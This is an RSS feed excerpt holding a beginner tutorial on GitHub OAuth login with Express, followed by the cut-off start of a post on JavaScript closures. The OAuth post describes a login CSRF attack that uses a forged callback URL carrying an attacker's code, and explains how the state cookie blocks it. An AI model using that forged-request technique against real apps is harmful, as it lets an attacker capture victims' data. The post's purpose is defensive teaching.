&lt;li&gt;&lt;p&gt;Chrome DevTools, specifically the Network tab. You need to be able to open it, watch requests appear as you click around, click a single request, and read its Request Headers and Response Headers. You should also know where the &quot;Preserve log&quot; checkbox is, because without it the list wipes itself every time the page changes, and in this flow the page changes four times.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Writing requests using the fetch API.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cookies, at least the basics. What are cookies, their basic working, what the &lt;code&gt;Set-Cookie&lt;/code&gt; header in a response does, that the browser stores it and attaches it to later requests automatically, and roughly what &lt;code&gt;HttpOnly&lt;/code&gt; means. The Application tab in DevTools is where you look at them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;What are cross site requests, and how the browser decides what counts as one and handles it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Authentication and Authorization with JWT using Express.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;And the &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Sanu-Ranjan/your-repo&quot;&gt;code used&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-1-what-a-redirect-actually-is&quot;&gt;Part 1: What a redirect actually is&lt;/h3&gt;
&lt;p&gt;Before we touch OAuth, we need to be completely solid on one thing. Everything depends on it.&lt;/p&gt;
&lt;h4 id=&quot;the-normal-case-first&quot;&gt;The normal case first&lt;/h4&gt;
&lt;p&gt;When our browser asks a server for a page, it gets back a response made of three parts: a status code, some headers, and a body.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 200 OK
Content-Type: text/html

&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;Hello&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The status is &lt;code&gt;200&lt;/code&gt;, which means &quot;here is what you asked for&quot;. The body is HTML. The browser paints that HTML on screen. The URL bar shows the address we requested. Nothing surprising.&lt;/p&gt;
&lt;h4 id=&quot;now-the-redirect&quot;&gt;Now the redirect&lt;/h4&gt;
&lt;p&gt;A redirect is a response with a status code in the 300s, usually &lt;code&gt;302&lt;/code&gt;, and &lt;strong&gt;no body at all&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 302 Found
Location: https://github.com/login/oauth/authorize?client_id=abc123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the entire response. There is no HTML. There is nothing for the browser to paint.&lt;/p&gt;
&lt;p&gt;What there is instead is a header called &lt;code&gt;Location&lt;/code&gt;, and its value is an address.&lt;/p&gt;
&lt;h4 id=&quot;here-is-the-part-i-had-wrong&quot;&gt;Here is the part I had wrong&lt;/h4&gt;
&lt;p&gt;I assumed, for a long time, that the server sending this response then goes to that address itself. It does not. The server has finished the request response cycle with this response. It wrote a string into a header, set a status code, and closed the connection. It is done. It has no idea what happens next and it does not wait to find out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The browser is the one that acts.&lt;/strong&gt; It reads the &lt;code&gt;Location&lt;/code&gt; value and sends a brand new GET request to that address, entirely on its own initiative.&lt;/p&gt;
&lt;p&gt;Let us be precise about what &quot;brand new request&quot; means, because this is where the whole flow lives:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is a separate request, with its own connection.&lt;/li&gt;
&lt;li&gt;It gets its own row in the Network tab.&lt;/li&gt;
&lt;li&gt;It carries whatever cookies belong to that new address.&lt;/li&gt;
&lt;li&gt;It is indistinguishable from the user having typed that address into the URL bar by hand.&lt;/li&gt;
&lt;li&gt;If that address also replies with a redirect, the browser does this entire dance again.&lt;/li&gt;
&lt;li&gt;And the most important thing is that the browser sends the query parameters along when it requests that address.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;why-you-never-see-it-happen&quot;&gt;Why you never see it happen&lt;/h4&gt;
&lt;p&gt;Because nothing was rendered. The &lt;code&gt;302&lt;/code&gt; response had no body, so there was nothing to display, so the URL bar had no reason to update.&lt;/p&gt;
&lt;p&gt;This is why a chain of two or three redirects looks like a single instant jump on screen. There were three separate requests. We just never saw the intermediate ones, because none of them produced a page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The sentence to carry into the rest of this post:&lt;/strong&gt; a redirect response from someone is telling the browser where to go next.&lt;/p&gt;
&lt;p&gt;If you take nothing else from this article, take that.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-2-the-goal-and-the-flow-in-one-pass&quot;&gt;Part 2: The goal, and the flow in one pass&lt;/h3&gt;
&lt;p&gt;Now that redirects make sense, let us look at what we are actually building.&lt;/p&gt;
&lt;p&gt;The goal is to log a user into our app &lt;strong&gt;without our app ever seeing their GitHub password&lt;/strong&gt;. They type that password on github.com and nowhere else. Our app never touches it, never sees it, so it cannot leak it.&lt;/p&gt;
&lt;p&gt;Here is the whole flow before we go into any detail. Read it once to set a context, then we will take it apart piece by piece.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The user clicks a &quot;Log in with GitHub&quot; button, which sends the browser to a route on our own backend.&lt;/li&gt;
&lt;li&gt;Our server responds with a redirect pointing at GitHub. The browser follows it.&lt;/li&gt;
&lt;li&gt;The user logs in on github.com and approves our app.&lt;/li&gt;
&lt;li&gt;GitHub responds with a redirect pointing back at &lt;strong&gt;our&lt;/strong&gt; server. The browser follows that too. The address it points at carries a temporary &lt;code&gt;code&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Our server takes that code and calls GitHub directly, server to server, trading it for an access token.&lt;/li&gt;
&lt;li&gt;Our server uses that token to ask GitHub who this person is.&lt;/li&gt;
&lt;li&gt;Our backend saves the user, signs its own JWT, sets it in an HttpOnly cookie, and redirects to the dashboard.&lt;/li&gt;
&lt;li&gt;And now the user is logged in to our app.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now count how many of those are our server talking to GitHub over the network.&lt;/p&gt;
&lt;p&gt;Steps 5 and 6. That is it. Two requests.&lt;/p&gt;
&lt;p&gt;Steps 1 through 4 are all browser navigations, exactly like the one we described in Part 1. Our backend and GitHub are just taking turns handing addresses along with &lt;em&gt;query parameters&lt;/em&gt; to our browser through redirect requests.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-3-the-button-and-why-it-points-at-our-own-server&quot;&gt;Part 3: The button, and why it points at our own server&lt;/h3&gt;
&lt;p&gt;Our login button is an anchor tag:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsx&quot;&gt;&amp;lt;a href=&quot;http://localhost:5000/api/auth/github&quot;&amp;gt;Log in with GitHub&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That one line has two decisions baked into it, and I got both of them wrong at first. Let us take them one at a time.&lt;/p&gt;
&lt;h4 id=&quot;question-one-why-does-it-point-at-our-own-express-server-&quot;&gt;Question one: why does it point at our own Express server?&lt;/h4&gt;
&lt;p&gt;The obvious thing to do is put GitHub's authorize URL straight into that &lt;code&gt;href&lt;/code&gt;. And it would technically work. So why bounce off our own backend first?&lt;/p&gt;
&lt;p&gt;The answer is a query parameter called &lt;code&gt;state&lt;/code&gt;. We will explain why in Part 7. For now, all we need is that the &lt;code&gt;state&lt;/code&gt; must be a &lt;strong&gt;fresh random value on every single login attempt&lt;/strong&gt;, and it must be stored in an &lt;strong&gt;HttpOnly cookie&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Hold those two constraints next to the idea of hardcoding the URL in our href.&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;href&lt;/code&gt; written into JSX is a fixed string. It is baked in when the app is built. Every user, on every attempt, from now until we redeploy, would send the exact same &lt;code&gt;state&lt;/code&gt;. A value that never changes is not random, so it defeats the purpose.&lt;/p&gt;
&lt;p&gt;&quot;Fine,&quot; I thought, &quot;I will generate it in the browser with JavaScript.&quot;&lt;/p&gt;
&lt;p&gt;But frontend JavaScript &lt;strong&gt;cannot set an HttpOnly cookie&lt;/strong&gt;. That is the entire purpose of the HttpOnly flag. It exists specifically to keep JavaScript away from the value. So we would have to store our &lt;code&gt;state&lt;/code&gt; somewhere JavaScript can reach, like localStorage, which means any cross site scripting bug in our app can read it and the protection is gone again.&lt;/p&gt;
&lt;p&gt;Let's look at what actually needs to happen:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate a random value.&lt;/li&gt;
&lt;li&gt;Store it in an HttpOnly cookie.&lt;/li&gt;
&lt;li&gt;Send the redirect response taking the user to GitHub's login/consent page.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Those three things have to happen &lt;strong&gt;together, in one response&lt;/strong&gt;. Only a server can do all three. The browser can do the third one, but not the second.&lt;/p&gt;
&lt;p&gt;That is why the first stop is our own route, and GitHub comes one step later.&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;client_id&lt;/code&gt;, &lt;code&gt;scope&lt;/code&gt; and &lt;code&gt;redirect_uri&lt;/code&gt; differ between development and production, and on the server they come from environment variables. Keeping the URL construction on the backend means our frontend knows nothing about GitHub at all. That matters a lot the day we add Google login next to it, because nothing in the frontend has to change.&lt;/p&gt;
&lt;h4 id=&quot;question-two-as-the-href-holds-the-backend-why-an-anchor-tag-and-not-a-get-request-using-the-fetch-api-&quot;&gt;Question two: as the href holds the backend, why an anchor tag and not a GET request using the &lt;code&gt;fetch&lt;/code&gt; API?&lt;/h4&gt;
&lt;p&gt;Because our route is going to respond with a redirect, and we need the &lt;strong&gt;browser itself&lt;/strong&gt; to act on it.&lt;/p&gt;
&lt;p&gt;An anchor tag hands control to the browser, and the browser makes the GET request and handles the redirect response received. That is what makes the rest of the chain happen at all.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-4-what-our-login-route-does&quot;&gt;Part 4: What our login route does&lt;/h3&gt;
&lt;p&gt;Three things, in a single response.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;app.get(&quot;/api/auth/github&quot;, (req, res) =&amp;gt; {
  const state = crypto.randomBytes(32).toString(&quot;hex&quot;);

  res.cookie(&quot;oauth_state&quot;, state, {
    httpOnly: true,
    sameSite: &quot;lax&quot;,
    maxAge: 10 * 60 * 1000,
    path: &quot;/&quot;,
  });

  const params = new URLSearchParams({
    client_id: process.env.GITHUB_CLIENT_ID,
    redirect_uri: &quot;http://localhost:5000/api/auth/github/callback&quot;,
    scope: &quot;user:email&quot;,
    state,
  });

  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read &lt;code&gt;res.redirect()&lt;/code&gt; carefully, because the name invites the wrong mental model.&lt;/p&gt;
&lt;p&gt;It is &lt;strong&gt;not&lt;/strong&gt; a function that reaches out to GitHub. It does not open a connection. It does not wait for anything. All it does is set a &lt;code&gt;302&lt;/code&gt; status and a &lt;code&gt;Location&lt;/code&gt; header on our response, and end it. Whether anything happens after that is entirely the browser's business.&lt;/p&gt;
&lt;p&gt;Two things to notice in the params.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client_id&lt;/code&gt; is public. It sits in a URL. That is fine and by design.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client_secret&lt;/code&gt; does not appear here at all. It never goes near the browser. We will use it exactly once, in Part 8, from our server.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-5-the-user-is-on-github-now&quot;&gt;Part 5: The user is on GitHub now&lt;/h3&gt;
&lt;p&gt;The browser follows the redirect and lands on github.com.&lt;/p&gt;
&lt;p&gt;Before showing anything, GitHub checks two things. That our &lt;code&gt;client_id&lt;/code&gt; exists, and that the &lt;code&gt;redirect_uri&lt;/code&gt; we sent is an &lt;strong&gt;exact string match&lt;/strong&gt; for the one registered in our OAuth app settings. Not a close match but exact. One trailing slash difference and we get an error page instead of a login screen.&lt;/p&gt;
&lt;p&gt;Then the user types their password.&lt;/p&gt;
&lt;p&gt;This happens on github.com, on a page GitHub served, over GitHub's own TLS connection. Our app has no visibility into any part of it. There is no way for us to read that password even if we wanted to, because it is never sent anywhere near us.&lt;/p&gt;
&lt;p&gt;That is the entire security promise of OAuth, and it is worth pausing on. The reason this whole convoluted redirect dance exists is to get that one property.&lt;/p&gt;
&lt;p&gt;After the password, GitHub shows the consent screen listing the scopes we asked for. The user approves.&lt;/p&gt;
&lt;p&gt;Consent only appears the first time. GitHub records that this user authorized this app for these scopes. On every later login it skips the screen entirely and redirects straight back, which is why the second login feels fast.&lt;/p&gt;
&lt;p&gt;It reappears in two cases. If we add a scope the user has not approved, or if the user revokes our app at github.com/settings/applications. That second one is worth doing once during development just to see the screen again.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-6-the-callback-url-is-a-misleading-name&quot;&gt;Part 6: The &quot;callback URL&quot; is a misleading name&lt;/h3&gt;
&lt;p&gt;This was the single biggest source of my confusion, so I want to be blunt about it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GitHub does not call our callback URL.&lt;/strong&gt; It never opens a connection to our server. Not once, at any point in the entire flow.&lt;/p&gt;
&lt;p&gt;What GitHub actually does is send another &lt;code&gt;302&lt;/code&gt; back to the browser:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 302 Found
Location: http://localhost:5000/api/auth/github/callback?code=abc123&amp;amp;state=xyz789
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then it hangs up. Same as Part 1. It set a status, wrote a header, and finished.&lt;/p&gt;
&lt;p&gt;The browser reads that &lt;code&gt;Location&lt;/code&gt; value and sends a fresh GET request to our server, carrying the &lt;code&gt;code&lt;/code&gt; in the query string. The browser is the middle man.&lt;/p&gt;
&lt;p&gt;So &quot;callback URL&quot; is the address we want the browser sent back to with the code in the query string.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-7-the-state-check-and-a-samesite-trap&quot;&gt;Part 7: The state check, and a SameSite trap&lt;/h3&gt;
&lt;p&gt;Our callback route runs. The first thing it does is compare the &lt;code&gt;state&lt;/code&gt; in the query string against the &lt;code&gt;oauth_state&lt;/code&gt; cookie, and then clear that cookie.&lt;/p&gt;
&lt;h4 id=&quot;why-&quot;&gt;Why?&lt;/h4&gt;
&lt;p&gt;Here is the attack it prevents. Follow it slowly, because it is easy to misread which account is which.&lt;/p&gt;
&lt;p&gt;An attacker goes to GitHub and authorizes our app &lt;strong&gt;using his own GitHub account&lt;/strong&gt;. He gets back a valid &lt;code&gt;code&lt;/code&gt;. It is a real code, correctly issued, and it points at his account.&lt;/p&gt;
&lt;p&gt;He does not use it.&lt;/p&gt;
&lt;p&gt;Instead, he gets our user to load this address, maybe through a link in an email or an image tag on a page:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;http://ourapp.com/api/auth/github/callback?code=HIS_CODE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our server sees a code, redeems it, and logs that user's browser into &lt;strong&gt;the attacker's&lt;/strong&gt; account.&lt;/p&gt;
&lt;h4 id=&quot;wait-why-would-he-use-his-own-account-&quot;&gt;Wait, why would he use his own account?&lt;/h4&gt;
&lt;p&gt;This is the part that confused me, and it is worth stopping on, because the attack looks backwards at first.&lt;/p&gt;
&lt;p&gt;He is not trying to break into the victim's GitHub. He cannot. The code he planted was issued for his account, so our server reads his email, his profile, his numeric id, and logs the browser into his user record. The victim's GitHub is never touched at any point, and the user has no clue because there was no consent screen.&lt;/p&gt;
&lt;p&gt;What he gets is everything the victim does &lt;strong&gt;afterwards&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The victim clicks the link and our app looks completely normal. They are logged in, nothing errors, and almost nobody checks which account they are in. So they carry on and use the app. They write notes, upload files, save a delivery address, connect something at checkout. All of it gets written against the attacker's user record.&lt;/p&gt;
&lt;p&gt;Then he logs into our app from his own machine, normally, with his own GitHub, and reads it.&lt;/p&gt;
&lt;p&gt;So the value of this attack depends entirely on what our app stores. On a login only app that holds nothing, it is close to worthless. On anything where users create, upload or save things, it is a real problem. The account is a container, and he has quietly handed the victim one that he owns.&lt;/p&gt;
&lt;h4 id=&quot;how-state-stops-it&quot;&gt;How &lt;code&gt;state&lt;/code&gt; stops it&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;state&lt;/code&gt; cookie shuts this down cleanly. The attacker cannot read or set an HttpOnly cookie in someone else's browser. So his forged request arrives with a &lt;code&gt;state&lt;/code&gt; that does not match whatever is in the victim's cookie, and our server rejects it before ever touching the code.&lt;/p&gt;
&lt;h4 id=&quot;the-samesite-trap&quot;&gt;The SameSite trap&lt;/h4&gt;
&lt;p&gt;This one is confusing as hell.&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;oauth_state&lt;/code&gt; cookie belongs to our own domain. So I expected it to be sent to our own server without question. That is not how SameSite works.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SameSite is not about who owns the cookie. It is about which page the navigation started on.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Look back at Part 6. That redirect originates on github.com. So from the browser's point of view this is a cross site navigation, even though the destination is ours and the cookie is ours.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;SameSite=Strict&lt;/code&gt;, the browser withholds the cookie. Our state check then fails on every single login, and the error message will not tell us why, because from our code's perspective the cookie simply is not there.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt; is the minimum that works, because Lax permits cookies on top level navigations like this one.&lt;/p&gt;
&lt;p&gt;We want &lt;code&gt;Lax&lt;/code&gt; on our own session JWT too, for two separate reasons. First, the page load after login is the tail end of a chain that started on github.com. Second, if a user clicks a link to our site from Gmail or WhatsApp, &lt;code&gt;Strict&lt;/code&gt; would land them on our page logged out, which looks like a bug to them.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-8-trading-the-code-for-a-token&quot;&gt;Part 8: Trading the code for a token&lt;/h3&gt;
&lt;p&gt;This is the first time in the entire flow that our server talks to GitHub over the network. No browser is involved. Nothing here is visible to the user.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const tokenRes = await fetch(&quot;https://github.com/login/oauth/access_token&quot;, {
  method: &quot;POST&quot;,
  headers: {
    &quot;Content-Type&quot;: &quot;application/json&quot;,
    Accept: &quot;application/json&quot;,
  },
  body: JSON.stringify({
    client_id: process.env.GITHUB_CLIENT_ID,
    client_secret: process.env.GITHUB_CLIENT_SECRET,
    code,
    redirect_uri: &quot;http://localhost:5000/api/auth/github/callback&quot;,
  }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two things here will waste an hour if nobody warns you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Send &lt;code&gt;Accept: application/json&lt;/code&gt;.&lt;/strong&gt; Without it, GitHub replies with a form encoded string that looks like &lt;code&gt;access_token=gho_xxx&amp;amp;scope=&amp;amp;token_type=bearer&lt;/code&gt;. Your &lt;code&gt;tokenRes.json()&lt;/code&gt; will throw, and the error will not point at the missing header.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A bad code returns HTTP 200.&lt;/strong&gt; Not 400. Not 401. You get a &lt;code&gt;200 OK&lt;/code&gt; with an error object sitting in the body. So &lt;code&gt;if (!tokenRes.ok)&lt;/code&gt; will happily let a failure through. You have to check whether &lt;code&gt;access_token&lt;/code&gt; is actually present in the parsed response.&lt;/p&gt;
&lt;h4 id=&quot;why-is-it-safe-for-the-code-to-travel-through-the-url-&quot;&gt;Why is it safe for the code to travel through the URL?&lt;/h4&gt;
&lt;p&gt;This bothered me for a while. In Part 6 that code sat in the URL in plain text. Which means it went into browser history.&lt;/p&gt;
&lt;p&gt;It is fine, because the code is &lt;strong&gt;single use and short lived&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The moment we exchange it, GitHub marks it consumed. Send the same code again and we get an error. And it expires on its own in about ten minutes whether we use it or not.&lt;/p&gt;
&lt;p&gt;So anyone who digs that string out is holding something that has either already been spent or is about to expire on its own. The reusable, valuable thing is the access token we just received, and that never leaves our server.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-9-finding-out-who-they-are&quot;&gt;Part 9: Finding out who they are&lt;/h3&gt;
&lt;p&gt;Here is a thing that is easy to assume and wrong: the access token does not tell us who the user is.&lt;/p&gt;
&lt;p&gt;It is a key, not an ID card. It is proof that we are allowed to ask questions about the user logging in.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const headers = {
  Authorization: `Bearer ${accessToken}`,
  &quot;User-Agent&quot;: &quot;your-app-name&quot;,
  Accept: &quot;application/vnd.github+json&quot;,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;That &lt;code&gt;User-Agent&lt;/code&gt; header is not optional.&lt;/strong&gt; GitHub's API returns &lt;code&gt;403 Forbidden&lt;/code&gt; without it, and the error message does not obviously point at the cause. Every GitHub API request needs it.&lt;/p&gt;
&lt;p&gt;Now we make our second and last server to server call.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://api.github.com/user&lt;/code&gt; gives us the profile: &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;login&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;avatar_url&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;email&lt;/code&gt; will very often come back as &lt;code&gt;null&lt;/code&gt;, which is not a bug. Most people keep their email private on GitHub, and that endpoint respects the setting.&lt;/p&gt;
&lt;p&gt;So we call &lt;code&gt;https://api.github.com/user/emails&lt;/code&gt; as well. That returns an array of every email on the account, and we want the one where &lt;strong&gt;both&lt;/strong&gt; &lt;code&gt;primary&lt;/code&gt; and &lt;code&gt;verified&lt;/code&gt; are &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;verified&lt;/code&gt; part is not optional either. If the primary email is not verified, we treat the account as unverified rather than trusting the address. Otherwise someone could add an email they do not own to their GitHub account, log into our app, and get matched to an existing user in our database who does own it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;part-10-saving-them-and-our-own-session&quot;&gt;Part 10: Saving them, and our own session&lt;/h3&gt;
&lt;p&gt;Now that we have our user details, we set our own JWT using them as the payload and issue that to the client after login.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-short-version&quot;&gt;The short version&lt;/h3&gt;
&lt;p&gt;If we remember one thing from all of this, it is this:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Almost every step in OAuth is a server writing an address into a &lt;code&gt;Location&lt;/code&gt; header and hanging up, while the browser does the walking.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So here is the exercise that taught me more than every diagram I looked at. Open DevTools. Go to the Network tab. Tick &quot;Preserve log&quot; so the rows survive all the page changes. Clear the list. Then run a login.&lt;/p&gt;
&lt;p&gt;Go through them one at a time and find out, who sent this request, our server or the browser.&lt;/p&gt;
&lt;p&gt;P.S. I wrote this while learning it, which means there is a decent chance something here is wrong or oversimplified. If you know OAuth properly and spot a mistake, please comment. Corrections are welcomed as the post gets better for the next beginner who lands on it.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/25915/understanding-github-oauth-login</guid>
<pubDate>Mon, 31 Aug 2026 12:19:33 +0000</pubDate>
</item>
<item>
<title>JavaScript Closures: How They Actually Work</title>
<link>https://coderlegion.com/25900/javascript-closures-how-they-actually-work</link>
<description>&lt;p&gt;&lt;em&gt;A quick note before we start: this post is for beginners trying to understand how closures actually work. I have done my best as per my limited knowledge to explain what happens under the hood, so if I have gotten anything wrong, please correct me in the comments.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;When I was first learning closures, I could recite the definition but still could not explain why they actually work. Information that goes past the definition and into the &quot;why&quot; and &quot;How&quot; is sometimes harder to find than expected. One of my dear friends finally explained it to me in a way that made it click, so I thought I should pass it on for any beginner going through the same thing.&lt;/p&gt;
&lt;p&gt;The definition we have probably heard: an inner function remembers variables from its outer function, even after the outer function has finished running. That is correct, but it is only the surface. The real question is, what is so special here? Why does that memory survive at all? The answer lives in how the JavaScript engine handles memory behind the scenes.&lt;/p&gt;
&lt;p&gt;Here is the example we will use the whole way through:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function counter(n = 0) {
  var count = n;

  function innerCounter() {
    count++;
    console.log(count);
  }

  return innerCounter;
}

var a = 2;

var myCounter1 = counter();
myCounter1(); // 1
myCounter1(); // 2

var myCounter2 = counter(a);
myCounter2(); // 3
myCounter1(); // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I'm using &lt;code&gt;var&lt;/code&gt; here just to make the breakdown easier to visualize.&lt;/p&gt;
&lt;h3 id=&quot;how-the-engine-runs-the-code&quot;&gt;How the Engine Runs the Code&lt;/h3&gt;
&lt;p&gt;Contrary to the popular belief that JavaScript is just a simple, line-by-line interpreted language, the engine handles the code in distinct steps. There are two phases:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Compilation Phase:&lt;/strong&gt; the engine scans the code and registers all variable declarations and function definitions before anything runs. For each function, it creates a function object in memory, and the function's name points to that object.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Execution Phase:&lt;/strong&gt; the code finally runs, line by line.&lt;/p&gt;
&lt;p&gt;Separately from these, there's garbage collection: the cleanup process that runs in the background. Normally, once a function finishes executing, its local execution scope is freed from memory so it doesn't waste space. With a closure, that cleanup gets blocked. The executed function's local execution scope persists, letting the inner function reach back up the scope chain and grab what it needs.&lt;/p&gt;
&lt;p&gt;Quick recap of the example above: &lt;code&gt;counter&lt;/code&gt; takes a parameter &lt;code&gt;n&lt;/code&gt; (default 0), stores it in &lt;code&gt;count&lt;/code&gt;, and returns an inner function &lt;code&gt;innerCounter&lt;/code&gt; that increments and logs &lt;code&gt;count&lt;/code&gt;. We create &lt;code&gt;myCounter1&lt;/code&gt; from &lt;code&gt;counter()&lt;/code&gt; and &lt;code&gt;myCounter2&lt;/code&gt; from &lt;code&gt;counter(a)&lt;/code&gt;, and the outputs come out as 1, 2, 3, 3. Now let's see how.&lt;/p&gt;
&lt;h3 id=&quot;step-1-mapping-the-global-scope&quot;&gt;Step 1: Mapping the Global Scope&lt;/h3&gt;
&lt;p&gt;Before a single line runs, JavaScript sets up the global scope in memory during compilation, registering the names &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;myCounter1&lt;/code&gt;, and &lt;code&gt;myCounter2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When it hits the &lt;code&gt;counter&lt;/code&gt; definition, it creates a function object for it in memory, and the name &lt;code&gt;counter&lt;/code&gt; points to that object. Here's the secret sauce: every function gets a hidden internal property (often written &lt;code&gt;[[Scope]]&lt;/code&gt;) that points back to the environment where it was born. For &lt;code&gt;counter&lt;/code&gt;, that points to the global scope.&lt;/p&gt;
&lt;h3 id=&quot;step-2-creating-mycounter1&quot;&gt;Step 2: Creating myCounter1&lt;/h3&gt;
&lt;p&gt;Now execution starts. It sets &lt;code&gt;a = 2&lt;/code&gt;, then calls &lt;code&gt;counter()&lt;/code&gt; with no argument.&lt;/p&gt;
&lt;p&gt;Invoking the function spins up a brand new local execution context, which points back to wherever its function definition's &lt;code&gt;[[Scope]]&lt;/code&gt; is pointing to. Inside this temporary space, a mini-compilation happens:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;n&lt;/code&gt; defaults to 0.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;count&lt;/code&gt; is registered and initialized to 0.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;innerCounter&lt;/code&gt; function is defined and stored and &lt;code&gt;innerCounter&lt;/code&gt; holds reference to its function definition, and its hidden &lt;code&gt;[[Scope]]&lt;/code&gt; points right back to this local scope.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, &lt;code&gt;counter()&lt;/code&gt; returns &lt;code&gt;innerCounter&lt;/code&gt;, which returns the reference of its function definition and we store it in &lt;code&gt;myCounter1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Normally the local execution scope of &lt;code&gt;counter()&lt;/code&gt; would now be wiped by the garbage collector. But JavaScript has a golden rule: if an environment can still be reached from the global scope, it can't be garbage collected. Since &lt;code&gt;myCounter1&lt;/code&gt; points to the inner function's definition, and the inner function points back to this local scope &lt;code&gt;counter()&lt;/code&gt;, a bridge remains. The memory survives.&lt;/p&gt;
&lt;h3 id=&quot;climbing-the-scope-chain&quot;&gt;Climbing the Scope Chain&lt;/h3&gt;
&lt;p&gt;Now we call &lt;code&gt;myCounter1()&lt;/code&gt;. A fresh local execution scope is created for the function execution which points back to wherever its &lt;code&gt;[[Scope]]&lt;/code&gt; is pointing to, here it points to &lt;code&gt;counter()&lt;/code&gt;'s local execution scope which is still in memory.&lt;/p&gt;
&lt;p&gt;Then in execution phase for this function it encounters &lt;code&gt;count++&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First it checks its own local context for &lt;code&gt;count&lt;/code&gt;. Nothing there. So it follows up its scope chain into the preserved parent memory the &lt;code&gt;counter()&lt;/code&gt; execution context, finds &lt;code&gt;count&lt;/code&gt; at 0, increments it to 1 in that parent scope, and logs 1, and then &lt;code&gt;myCounter1()&lt;/code&gt; local execution context is garbage collected.&lt;/p&gt;
